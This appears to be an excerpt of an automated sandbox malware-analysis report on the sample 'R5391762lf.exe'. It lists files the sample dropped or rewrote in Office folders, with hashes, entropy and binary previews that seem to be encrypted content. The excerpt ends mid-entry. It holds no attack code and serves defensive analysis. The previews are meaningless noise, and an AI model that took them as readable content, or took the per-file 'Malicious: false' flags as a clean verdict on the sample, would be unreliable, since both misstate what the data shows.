Size (bytes):	806
Entropy (8bit):	7.73844572391602
Encrypted:	false
SSDEEP:	24:HL0MjXMPIxzMRQtiYUAfjCmkY1qG7Xq8uWbD:rdrRz4QtpQYYeXFuED
MD5:	397561FDC49F4295B08F1A4867FEF833
SHA1:	92A91F9490AB03B91BC48B633537DD200B3DD191
SHA-256:	664200470CB60D4F25033111E91DAC814F6E60659E405FB839BC95D60B140B33
SHA-512:	B81A1AFA88E3A4B3EBFF5F54153C1445CCE3C06A02F7E0D545C9DF31ABD0906B33D22D8955B65EF21A23425633013871E3181B74A420EEC426E3D27FCEA578C1
Malicious:	false
Preview:	.<?U0.....-......$m..F[[$lj...h.Cc...\..5.%5.!......\U...!..}..8...;o.Qp.-!.E.\|.!..4.[..!..gh.s.q."Y.Q...b......b.~.^.{Y....J.i....;..Kp..84.....p>b....E....ZX..6....(g._Sv..V..7.J....~.;..K.k..=%.Z........G.....).7.P.\|n.....U..^...O......0.k..M.O.r..M]...T..Q....5Bc.G...^\|.X..?DA.w.gF..o<>.@....p2..=tWs,8.....]....X....!6NO._H...v..FR....V,9....9`.v.C.".T..1y..>.3.xTM..;q.VT.]4...p..[....F..Um......`.d+.\|.%...v.Xfwh........J.\@..X\|y..Q.Y0w...")...C.Q.e$.B5=.7....Q.L.\..pUw...l5......C..W......F./}(..JH.... K{..S.Z.&#.........._.....i.@9...[s.Vo.....1.C.!...`yC1.-..T.I........#`3..c...I%.K...2xqp..CT7)A.."...Y..D@<Xa.Q.Q.T.Za\|k5n.7........tN.N.%5..{fG..u.=.8c...I.....,\|]....s\|..%.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120671v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	766
Entropy (8bit):	7.702552739698748
Encrypted:	false
SSDEEP:	12:jQPPc2bSVb6zmYDRokx4keU5CRu0mf56OX6SpQFwBLkHlNEQFwHstHhC6YCdyxxy:jQPU2EbM9x4xU50mf56OX6SzBLSRwMHL
MD5:	26CDCF92A072F7C46D8C3909E5CFA659
SHA1:	28F114680E85FCCB7399F48B602C2107E45FF089
SHA-256:	B16AB4379F69451AFCFC31AA1BC2AA7ECB841DD2271D4C11F69ACB1886437D1A
SHA-512:	E029F11A2EF063B526267964FE8767D4A6F011F5A7A73567881115DB3951399AC43F6324FBF372F87AD1985B617CB9DDA706800E399C53B93DE48B47F2254743
Malicious:	false
Preview:	.<?...}-i?.......5.........#./\|e.t....-Mxn,.....B\|.}6...W.kv..W;.+.).~U"UU}=4....F..eY..p/...b..^#.6).!.V...$_.r5.1.jqp.'f.`....,......:.G....".l._...H....!..m.a.K...in..u1.?8.6O.=K.y-p......z...x......0.r,.U(...`>....]u...Y0}...\|...'A.VW..1$..T.AY..}.lZ.E.@C2.9..C...r.....S..JRu.E.7..1.:.$<..LFx.P!3...@."....w.v.@..U..8...W.O7O@EXFS.bI.H:..i4.d.....vw1;e7.... ..{O...[..ly..<1...?.F>.....3!.......T~....5H]'O..S`.6.f..FlakO.2~]3.R&.O.7....d...;l'\..m;.I...zT.=...t.g......U......L,...qG...@.\..'."b..N...d..;e.....j.$..6)t....&.iBb...}P...._L..CE.m.%....W....q.....\|8.6..\|......y..m.....H.....}W"..ht.../jo"F...E...C.SAfQH-(..`..(.\.....z..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120672v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	809
Entropy (8bit):	7.702275244617839
Encrypted:	false
SSDEEP:	24:uW5Ur6xAv7KJla07/3yMjv4MBwr4OvXq8uWbD:FOSAvG3tr3yMjvar4OvXFuED
MD5:	6C6C21F0EB06353992D3889AA22A5DC5
SHA1:	ED159ECCB717C24A6DB650758581B1E5F2F0CB62
SHA-256:	D3BEB944F2E434CEBA0E959A61CC9E8539D5ED866041509A84EF4FCB466CB3ED
SHA-512:	E36B39248AC38F53240316E6A85A651008635362BDBE4F58BBB35C6BB43A69F33E1E51DD658852F2214BD9172F899E93E8F7302D9A9859016D1E6D850EA1A8EE
Malicious:	false
Preview:	.<?..?..Z..S...v.~.odH..-.H..5......-&R....6.r.. ...u....i..h..$......$.D.`P..w.Ng.e.....d\|.......$y..8.=<A$...5..U...}/... .Y.....,.q. tY.c.A..'w...N^%E2N...I^LF.!b.......sZ..Q...zd.(.r.. 0r...)3wQF.h...[a\~.`.........S._8......{(f......(..K&..w~nH.WV...5.a.z>.&1...g..C...._...K.&....#....(?...>.i......%...dM....s<.D...\.i50m.!h..7..5......_.h.w.....WEV..-2._.A....JgrMr....oU...`.........<.Yq.......R..n..[.K.....Q...nb.X.......S>.....*aM...mU.3.....h6......S[..!.U..&d.o.......6c.E...W...N....e.D.y#....$.[....D..b......D.. 7..o..9.s.Y......]m...Wk...\|..d..O.,.....+..HX_.#.RK.5..E..P.--.S..u.x...2.".w1,.z?.C.#....>>...UAT".m.R_Zm.`.....0g...U?.J^..=.`.m..O8...L7.8 .....W........doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120673v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.72273404892055
Encrypted:	false
SSDEEP:	12:4oj3agIW14Zv2at01QVvuGtY4sXD7P6vvGnW3TGzilZfNliFOAehLIL8vZAXqOTX:403agIWuZuat01QVmGtY/D7wBVziFOA3
MD5:	1D386EAFA1440A043046187C324581B4
SHA1:	D8D109DE6DDFE85709AD365A494B5900480D8358
SHA-256:	ED2C0BC850252A2DC900A45290DDAB972FC97291912E3055B7E2721DAE582F1F
SHA-512:	AAD02A40E9802233C1E52FF80F539FF205F172DE1199CE0264AF9B2C6DAED650EE67A7BB8465DF13D74CD8A2C0CBE262F924FCCB2B9939CFA12C9C0B0A0AEFD7
Malicious:	false
Preview:	.<?J.:....!3..(.....u ...r..'.:..&q....q.f.TY.I.?..w.V..].&...-c.]..}0b...ov.-..L..}...<...kU.....+Y..O!......j..$&.1.o$.j......!-;..12..;6..$......Y,..:_...$,..%...n{.Y..G...=....m..~.>.3..h...u.N3....%..C.@/...P.Vm.K......-.R.....O.?...g....Z......o..P..s...]#.0...wK.3..P.hF{l.Y.`[.7.H;...-./.!Q..N...+.3_.....n..=.$`p.h....W@&..L....o.0..t..9H7.=...~..M.h.?K.t#./..B{W...."a.\}%L........c....b.>f...^..FX.20....!.I.0.K0.`k............7..~A.....G...Ia-.;-....{\l..0...cO.......}Ug....PY.4Fv.j..-q .VPV.....K....Y@.S....b.?.).=.1..{..p.KT.#^4.)Zy..h..Pe..M....O.......g.~.W.%<.C...c...O.p..j....N.J.... )....*<.......\."..^.8yz...B?..O4/\|....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120674v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.7331354013584
Encrypted:	false
SSDEEP:	24:GieEaFcpnPfNPv07+7auCjTRf/1ILPXq8uWbD:GieEaFQHNX8+7afHRfAXFuED
MD5:	9EA922C697AA797D187690FEB6AF086F
SHA1:	1D8E3E843330AD0477E448C8B6E3BD8F33D8C843
SHA-256:	D31C473EE9C6FC410AF11C2783AAA70BBA54FD698680478455ABDD9E253F6AF5
SHA-512:	FAACDFD392B0A4929B1297853CBBEB97BA23FCC209A3D864829FA02F047E0B34E087B56056D51D2808318E3DC6DC8EC706E484E231BF68F93035CB1AB264FD3D
Malicious:	false
Preview:	.<?..[.....U.V.9/b...!...)B...D.-.P,F...~.6...#.:<"[`......7U......~.6....._.x.$r...H.&.....R....S.x.,.mS\/~.EJ.~e...f.b....f.?;S.R.kh...@.r@}.tp.mD.....o.%..>.....h,`._....J4....`+O.vvf.e.....S.vR..s.N...L#..;..j..<D.\|..Z....)....oE.........TK......O.L...>FM.$._..v...@.g[R....).hO...y...d~%6!..D]m..xA...q".,6j..9).......1...I..E.....q.08A.w6..p)\|.0&4=.....//.2\..\|.................T.h[..-. %!8..CT.../.p.~.....z.mX.......-....~M....=.].={.y..,F....%...'.....o4U{.....!..^.D;.;...F.........Pg.G[..A..Z..O..-o.^R..}?..e.d.`G]..D.a9.J.3.......`#.......S.,.q<Fg...4'/.jI..#.#q....<.(u?.^..sE6..mim...../......"Ve..9Lv....../]...1.y.?.}.h2..=(.l.D_...\|*.....g..s..c.M3<..V.].....Q.....c.ar...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120675v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.663594470898868
Encrypted:	false
SSDEEP:	12:oXyvd4/Ske6qa17Gsxf6IjHkR7z0H3YiXoHK+egcDR7tYc/ipQVDuXqOTuWcii9a:oXym/Sz6qa1lxCPSYtKG25Yc6pQIXq8X
MD5:	B92144A9B15A8E6BE5B46876385C754D
SHA1:	5E8273DFB23C04685850B0076405642024959590
SHA-256:	F83381E5B7F8E36D2D05B0BDBEBDF321C6BB58733F2DFCB4EBC9887DBFF3E5FB
SHA-512:	5C4E6AD81C51C60A18A79FF073444850C6E0061C233BF9D331B544676DD963039B7A8C0CC03752C1F2A65CCBD6F21757E0D5C05900EA3558807BADA3801157FF
Malicious:	false
Preview:	.<?.._'a.YI...)....K..\|c..MIe0<(9.....6o..J......6..G,...X..s0..<.Z.. q..W...<....ZY.M9.`..:p..@..P...e.!...`..>...(.)tbb.........i.c.....s.....S\Rfc..<kx.7.P1\|>........t.`k.....p..6.l.9.....suK~...VA/...n..Y...3...b.........u_:F..7j<.H.Q.e..<]r....O.FO..w..C.c2mB!......6 ...k7t..Jp..uB\|.....C .b...V.......QB...'..B.#...R..M.._.?.:.YP.a..5?.-..eD.....j...[..Ln...r...\|.).-.e...8.1.z..C......E0........y.i..t...x.a.H....._Dj...K^r....B%?2\~N.B.[.(ud.......N..A......;..4H...X...H.....s..*;!...u.0..d]..].y...1..Tx..[%=W..JSU.Z.N/.k....)...&../y..ANs.....AG....p.,..3./. ,_..H.a.jB...Z..;....1e.d$-N.e,L;....$..Vm\.Yx.0.9Z....T..5.iK..B}..F..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120676v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.751341077727598
Encrypted:	false
SSDEEP:	24:rdBGJ0TnvFK9qzs+WvtH8zfeg+HvJmX/+8O+cXVGh6DXq8uWbD:rdBg0TvMgRcczfvUwP+8O1FG6XFuED
MD5:	AB165F1FFCEC2CFC2696C61D316A27E2
SHA1:	B1FFFC4CB8DC3BA3C690594D15F2B066663B6265
SHA-256:	45640BCA4CD766AD9636A3C1B3468D649779212B01F85D58B059FC4D7AE79E86
SHA-512:	84A0C35DBE6F53F46EA2AF39F2B34E5F087BCE33670A27554BAF9AA596BE5C3BCB3D7E6DFB8AB4275EEF0B71907158A2EE99935CB42979729BE7DB488571A011
Malicious:	false
Preview:	.<?..e......./l..pm.......4..\|:..&u....t.O..].....)....;..........@.=.Q...z.{....).J.........l..~A..e......B%z.=.Y$S.\|.......N.+..X.zj.%..e..G..~.. ..%.g'...<\G.C...4.\.....C..v...aJ.........G....J.\|^-.N....i...vRj.!o.....UW.[.D.c...}..? .>..I....j..u.F,l1......x....&_..(.e._.Rnd.`jX.3u..lY]Hr..{\|Ps....dI.a.....W.m.WV.....eL..<RS<..`}-..w..y>..uc.....Ho..."K....F..R'.;.E.-u.K.W..g..!.5.g..L.R1@).<..G...*.`.U.J...)d....=.F.u.-...(.=.AM.#.t6r.r-......o..:+.....Z.$..........e........i...B.< .#...4H.J.Kz0}.......".S.[...G..M .......=.....M.....R0....e4[s.b{>.Mh+..."..j.s,.....I...3a...D5.w(W.X.p_?.....XS.8.e.....X.\.V).....)..sU......1...&h</.=..q.T?....~.^....A..<.d..T.c.F....._doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120677v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	739
Entropy (8bit):	7.733418919992795
Encrypted:	false
SSDEEP:	12:ut8rMB0mD0CHH+5c9tkEzEUHHHwteX1EqrSDlA59eYuV+MumjsML8+neduEp4wPQ:k7B0O0QUutk3UHHQtI1EquRRfVSizLX1
MD5:	1FF4CBF63F3B2C578207F7E05DB4DA9F
SHA1:	4FD4BB0CA4A6B99DC9149A09515B08A3508B3D1B
SHA-256:	2B5EE017231DB9385FC5BD17BBD98C73B479D519754A76CDAC59ABE02EA1691F
SHA-512:	FCEC04DF820FCE7795BF3AD624EAEC2AB8C7E9E1323F44A04329204E38A4A53B486B0143E5294C3C6C196A5819E5DD9C633426B269E38539FD51D9C3FC24ECA4
Malicious:	false
Preview:	.<?.70....Lt9E..+#.<_..'<....1z.A2.R>.."..T9R....=(.B.%R.(.!T..6ax+,&.A.;B...G.B.f.z....E..........OlTh.R.3_X....&M\|r...;...NY.4).P$V=.).6..?.."..e\|z.L.&t..2.....i.a."w.e.IRr...}.@.1....(.....k.l...@l.0.xW..-.2i......Ur...Kcza{..../j......w..Gi..x.....WC.S.....%N0t...........[.\...#.A.4# .."....fd\.....:.!...X.y.e.n..7...;....xD...Q.... ......c.'.]..\.4q.T....`.......P.W:........xm\|A.)U..^O~..%9..-hr.R...........hg>...o..F(.5.H.Z-{.DB...f..g..P.@..@K.@{Ab.sS).....4.8[..jv. .H.'&.+T.S.C......IZ...P5..\j...k`B{....`.FVb...NW..5q.`4.P3\|/.7T.%...\|.&.f..l.T......e.B].....[L.6(.=......R....<l.A<...$/..\|yW...T...WZ.'.+Q.M.p...>..Z..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120678v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.712378502389399
Encrypted:	false
SSDEEP:	24:n0ru/v7AkG6kMkbz3C6wuUZesphUYusY0ZXq8uWbD:au6kesgsY0ZXFuED
MD5:	23075928D53B9A7D1EE98EE601D0C088
SHA1:	36051C3E4FB34BD5038247E2FEB5698D93D7C3C7
SHA-256:	8993EE7074E328D45CA987AA6F693041B9B513A60022F587F05B7B86418A33CA
SHA-512:	0723F46AC581E5EFC6749F67A2A00337D3BD06C018B09FA2272B508BB567C74848CAE9C8BA9FBE73D18F9DBFE94EE88EF579889E902919090603D353CB5D4EB0
Malicious:	false
Preview:	.<?..58....=D<.6e......w\...em..h..]..T...X...G.J..I..He..-..u..j.V.....sf.. <8(z.&...PI.x.J%.j1.x.[.d....j.0..O...K...Lo{Q..&.$..k....+.:5.pb....pf...!w.....CP..bS..dS..$.b..,...Ep.5B...H...L.....X6.....H..!..PH.i.....u..E..[Q&73....l..!A.wJJ#..;..D...L.e.....#.a...w..n...F;.}]..<N..m_v....7..d..O.,.7B#.>^".....2T.o..OZ....>q...N2W..jv..~.!...52...u.W.$4....Xs.1>O.......J.J....9.r$.......^@..H....M.p..(..T..z'L......}#.?EBN..\!H..O...+Jr-.x.Dz.a.,y..^5Z...Zr.J....w.l.'........&.=.b...tjx7A.]*w..q.:.e.@i.oD.._j........O.......1...%I....!..?T.mv.L..A.=. .[$...Z5...(.O.$#....(.....N.f.X`K..........\..z.^...2.S.....r.g.u].X.b......m.Cr......T...J.Z../'D.V4;.3X.R...\:Fzg...F.^O.f.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120679v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	7.484123836289647
Encrypted:	false
SSDEEP:	12:MLZfnjnyzXOGJINWCWzDZgUZB3bO4MSZZuitSeXqOTuWcii9a:oZfnjnyrzINWHzDZ5BLO4MSZZuitSeXp
MD5:	E44F693CC792C0BC31D24CF74DA1137A
SHA1:	E9D5D7C840F16B555E9D4163DFE55DFE09B389EB
SHA-256:	3CCB67353B005BD910027187950BBE94EC61B611FE1A989590AD96DB0BC2FD3C
SHA-512:	0AEAB249CCDF934AA9A48CADEB4926E702B0154353E6461F04DA5084D764916489660178D69437E30899AA490F825F7D5971409814DA7E825F0A990D7BF54BA1
Malicious:	false
Preview:	.<?.N>....X{........mEy.......J.....kH.l.wQ9t...u(...x.C"....[.4T.v._..... ..y..w....E..i......6.i.;I.$.{K..W...(.......... I.....:...w....H.+.......~z..)..9.Px.n.c{.3;..<BRV...Bj.-..uhd..9.j.>.K.f;tk\|.=.,}...;.X.L..)jv.b.$..I`...f...yH..Y....q...G..R...JC..D@.5..x99.9.C(g.;.Y.mO.lx..gp.....r3.qcJ.c]Hw.S^..p~..9..g....R.x.D..f9..w..c.}......00....R^y`.Q.,0C..k..l...\|gTd.ss.. .R]..,.a......y..8..L.Q..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120680v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2286
Entropy (8bit):	7.926729360238663
Encrypted:	false
SSDEEP:	48:NKxD4JbSmDNrmDPiolMmDV2dfVhxYC1/8ek623c41lSXcldCXFuED:NXRrWiolMmDYx3mc/Pk623cClSXlFuQ
MD5:	6B9A32564326FC4D200A4907C08A022B
SHA1:	9F85590E2CAE2DD17FEF1FA2DBD3515D4364572B
SHA-256:	45C5B0732243D6E671B52850C64E4E525B996C601CA93A61C0D3544179E0DC9B
SHA-512:	5F4455BFCABF2EFE017D7AE88EDB2054C4A874664FAE27DBDD8F05A03789CD48A37AEDC532449C0BE2D98C476E845CA4F2BE2D739E9D562EAEFEE43E44450FC0
Malicious:	false
Preview:	.<?n..o.w,c.q.....f.GA.....I_..........p^.4....%v...S_......f..E..x.....M.C...<..N..T..`.l..q?...)+.TR...B=.U>..0..m...EH.j.6vZuv[.@....u.......QU......6%g&....~.v...'.L.<]=7..5..`+)...L.lC.HN.V..<LM8..."g.A\&.G..0....k.G...}..e\|v.G.s....u...n.. .AZ2.$._..X.s....UR.K...$P1..]f.....m..s.\|..;......(w>....T..E?...Q.tA.ms..=....G...?.~`....Q....4.C..fI....O.....J.8.O.6@.s<...ztn....3....;<.U>..K.H.22;..._..HS.....N..F.I...ItQqA...P.z".w...RH..K..C.4..7k...).-Q.........95...I'...C.c..[.iqN....Fg8..).T.....[.........j..>"..../brF...3....D...A..%q.....jL#.). ;..c..'...x.^C.Z..,:k."..hD..J.....=.F.<.......x...4S...H...H..N...J-.q r$.{.l..E..bw2..]pn..W.M.P...p.d.&&QS.?......%B.3.=7...{S.@...L..X3.V#'.\k,..NDa..t.%..t...>m.{(.t.s.n+...q=8.....v.;)....Q.u*...`t{......[.b..w{...c\.y....B4....t..A..${...z..-..$.....@...k...l)..p.).z.6...L.s.V.....3........M..Y.}......"..L.Z..p......./.ne~1P0>..@;..E.V.:...Y),.u.R..>.f........D..p..r.p.7...'^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120681v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1292
Entropy (8bit):	7.834297841208292
Encrypted:	false
SSDEEP:	24:O7AKFO86YBXIbx5XUOvye0yRA7nwdovhuUqb4FRtjgbcws27TPedHBtKXq8uWbD:UAved+kZ9hEQIzbGOcr27j2HrKXFuED
MD5:	35A92C43A33381514A3166166D26589D
SHA1:	6CA0403C07B70EC5460E57D4F3F4E6175C045A57
SHA-256:	D30F0337D5A12739CEB7F44906FEE0A73FACAA1BAE249B97BCEA4321D5B8D95E
SHA-512:	F2ED96647A5739B62880D426356AC64195F719E1B299CC94237473AE361FFA56B08772FBFAD73264DA51E9A4A1F2E3F0DF90BAC3F61C4B9C6F59DFE806578A8C
Malicious:	false
Preview:	.<?e...7c!3..6.D..@...Z...V..sW..8...s...#..K..:..'ew.....,..NYru..Lv.i<a?..FY".. ..G....0..<g^.0.Tw....Fy..D...5/........gnR...<K.....\|....\z...\|..E[..D4.l.~..w......P...3.-6.U3=0.hp,.\..<..........h..B..{(.....QDsi:.m.:.....<....6j...5..8.F3%.h..n.n.eT..v3<.]....D..1.{...7..(.g..Ex...`.^..Xq..\R..p..(..?[.....jW.;......b..x.O..:.5.G....$.5...1...\ ....J.l....7>9..=:......E.q.w.n%Mi+..V...P.Rh.......m.e...w...CW6......g...j@...3...'.Y....a....M.,..0....Gf...._.P../K..R=.."j.Y..19....H.e.K.._ ..a.5.n~.`.....o.u....P....Y....!.t^u..........9........;8$.R...F..p.#._B.E.-....<..\..sJ'i...3`...<...AP5.P.c..{......XW.1....4?2.....BMs._.>.6.$G..2.C..0.fs$R.c...V>.=Wn.`d.P.....*}b..n2.'.]..)0..-No_...l.Y,vw@FUI@.D^.r.-....e=fM@..w...D`..u>....]. \|Ou..3.t.p.1..u...`]........jX.."..c .L....6&C..TN.Z...a.:<..n.R..........(I.I.$7Y<.....m...B(?Rh.B&...2_Ks`...K^.Q..L{...fgj..f5..N...i4M.&b.<.d.../u....H...e.T:\|.[4:.I..O..F...~>...t.0.l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120682v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.788871370624236
Encrypted:	false
SSDEEP:	12:IocsdG2KUXHPe8UeYfrxS+dz0p7Lfpj9jPBAmbAopLx0ifiBBJtDfTl/3eXqOTuQ:IS0jgsrReHAop10i2JtDrlPeXq8uWbD
MD5:	22ACAE4F2DC3E3AF656C08CD50D93261
SHA1:	81672023D9F8239DF26D4480E484CB4640D1D8E9
SHA-256:	115B306325CBDFB7FAC651C3223EF96D1896311193506CCE5F4FF1CE9ADDEBB7
SHA-512:	2ECA54BB63C5B721C10C17384F32301249421370BB4C3A4D600F3F97C6758DDE66ABB0717BB312348B7FC051BA631536238A963CC75326F885360FC53E7E09F4
Malicious:	false
Preview:	.<?@.B.G6>........<j.<4...>2s.(x...Hr&E..@...X.O:.].z.."....2.......yg..(.2Y.?..xq$<~ya.v...f,..........Z...1..N.._..+....M#.O.l...uS...?>..\.x.(.....C.p..v5A'..V....#o._.....9P.F...<2.vi......o+.&J....hA..........x].me...4..'.F.\..H....4B.U...t....q.f..)..0...N.T`.....*..P?.%.OV^9.....i.......%.p.o..#....}<..y.7.%.....m.x..a.L.@..v.J..A6tl^.......w.ef.7FUt.w.A.".2\qR@.e.....z..........vb.(G.....!..sxTWs....&6...M}F....bR.f...`...... .../X.Mi.Y.z.B..x.;.w`.,.~.u~ ....x=W......p..sB.$......'.}p...\|X..-i..oz.O.p.._M.9......V....N.\|...Gn....#...j,...P..;.-h&.PYe}..#....r;@.....2.&.[.OL..W..Z"!5..j....m..)h...Q._q.9...Y.0.#2....~.6.r.?.=..o....$.....7'.~..^...4....)..3.1..\h....S..d...g..I.Z..1C.G..<.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule222015v6.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.878976704521718
Encrypted:	false
SSDEEP:	48:BJ0OBALnq2I0UPI7F9xGRZrGgI1K7Pux059l2badflPbLNvXFuED:BCjrqsUiFWLrGlQTa05rPdfVNvFuQ
MD5:	3F7D814AC869F615464DB24338D713FA
SHA1:	2B03628712A46F111DA0458FEB1B303A21FE1D3E
SHA-256:	734D8BA21D5C14570E1C9429D00878278FC7350CEA7F17FB6088034A623F2924
SHA-512:	A4DAA8B507E1608D120D099EBA8976AB92203CAF7DAF1BA48BFBB30F69E288A652229D695F8DFCDB101C37C97DCCCE5B5618F7AF99389D3AEA8BB893E54F6E93
Malicious:	false
Preview:	<?xml...g.8wB.&...PgF]e.M2V.....@7.....xM.).a.H.`.M.........V&vQ...j........jk.\.+.;.-...n.k.PMz].....S.........6..F.....y#>....".).......p.P..-.~9..Ot.G.....X#...:...q........Smm./(Ps....bh.F.......u.....9.GeRV6.O.b.>dk...T.%F.H9....v........G...r.-.f.@6.rrX....K.R......j.O...........(b..xDR.n.EQ...Va..w\$.J...........n.-).".v3).}:....s@)...E..K#.E.7.X..wS.0....;,.....KCr..L.x_=-...6..].d..7. ..Rvd_.mw..p*..<.....B.h".w.E..G..K~.F73.r......$Z.].z]Z..6%.A\|..3..I.bc.}.7O\|28w....f..AD.OH.%.A.BT..'S...HKs...\(.`."T....W2..R.).}.....D. .....h...{.....7......\@DC..79{.h?.._.vl)T4..P.......m.P......o.qN...E.o......c.sO..>\|bB.s...D7..B.E...T..I[`>M....C..}e................J....]..w....M.....g8.O.Z.[:.b.#..q~.V..v.....c..'.d..k.Yo..k.t.4.2...re..x.gS..M...^DLO.....a.-....@bs2.J.;k...p./..$}..a.3 .I.&nl...5.Z9jk..k-..j>.0...X.o.w..].i.`....OwM.........n.Z.^..\.YH.a.>-.T.bG<Q..r.kA$%.\3..{1....e.kF%.Y..m.....F....}.D.&.F.(...R.........

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-7FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	7.78854102557755
Encrypted:	false
SSDEEP:	24:kUQ51VOmQaeg2n3xNfR2WIh+Kd6TBjZRe2zt1nyurKnTZ7Re+Xq8uWbD:kUY1CazM3zkzdSjz17yurAZle+XFuED
MD5:	6F00421E75AFD728644328824F48A135
SHA1:	48FACE6AFF16530C946841BDF9FA5C0FB05BF4C7
SHA-256:	0F5C72D834234B280B60F659234E6E22FC840134B49DF48609B416B7572B9705
SHA-512:	689F66BCCC2CA4C1DC85CBDC1205B44EDF72AFE0939BF9E96491192B9925EF636B27EA130DE06F4A571855722C081673C4CA9522144821B28B0FD96C71A210AB
Malicious:	false
Preview:	3.7.4n.. .D6.+7...kb..;5..zWDVH\3.......+...06<....8e.....6.Z.-C.W.oh...Y.x.K ....e.....\|p.W..z..F.{M..6:.........N..j....\|.r..Tz...m..W._..X....j....3+c.'.U..5O..~...Z[k._..s...(u.c.{W..-dd..FB.......G&W.nRIJ..\|...t...dd.g..f..;......9P.q.5..."......8P...=.....<^a..N.Y1....H..]v........U.aPY..dz3.~..7xh.......r....fQ.E..{.N......q..FM.IE+#.\..?m...p.S...X1%...<t/.n.V.....P6.......&.....u..[."..ei.;.....( D..U.O.T.#....-&/....M{m..rW ..^`6}....j9.:..Y.!.2..83g..i=.2V'..i .A.....>....=...I......-....\|...`.2.I..9..n....rxw"^...S.r.#..MUZ#eA-.f[L.#........7.?v.....{H....c.!.u.W...b........+.......\.Dk...#..@{^.}.!.+.......Q.7...e....[..Q....[NBi..i..B}.w.M..,.\,.sM.....eh..=.j,$...z..%S&....(V.........e.t.e..N..d.K..&n...\|+X.{.... K.ah',.....eV..A./~.;Bn.J.7.}.......n.....5y.E........[.....D.Ob1.T.\>.U{..5..l...w....'.....4......\|iF.aw...Z...P.H..:....re.C.....M3.`T..L(.As.......N{....d.....*n$>....$...o<....n.P...Q=..}.t..?.s...

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992617053204222
Encrypted:	true
SSDEEP:	384:DCxoF4X+3FAxJ5xfNhaaB0YKorKKh1SHHsMzyZ6opOJuzz+wUvk5CUhRLSYayxFQ:DCxoF4Ua5ZCYKfKhgnlU6opf+hsPaKK
MD5:	501FA5E2108C883BEFA066FD9EE307DE
SHA1:	B2F9E38DC0626F9C1437C21F2BD1FAA180E8955C
